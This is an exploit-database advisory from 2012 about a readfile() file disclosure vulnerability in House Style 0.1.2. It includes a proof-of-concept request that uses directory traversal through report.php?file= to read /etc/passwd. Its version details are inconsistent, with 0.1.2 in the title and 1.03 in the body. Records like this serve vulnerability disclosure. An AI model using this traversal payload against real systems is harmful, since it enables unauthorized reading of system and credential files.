House Style 0.1.2 File Disclosure Vulnerability

2012.07.14
Credit: GoLd_M
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

# Exploit Title: House Style 0.1.2 => readfile() Local File Disclosure Vulnerability # Date: 11/07/2012 # Author: GoLd_M # Vendor or Software Link: http://sourceforge.net/projects/housestyle/ # Version: 1.03 # Category:: readfile() Local File Disclosure Vulnerability2 # Tested on: Xp SP 2 # Ex : [House Style 0.1.2]/report.php?file=../../../../../../../../../../../../../../etc/passwd # See Test : http://upload.traidnt.net/upfiles/aqz25984.jpg

References:

http://sourceforge.net/projects/housestyle/


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top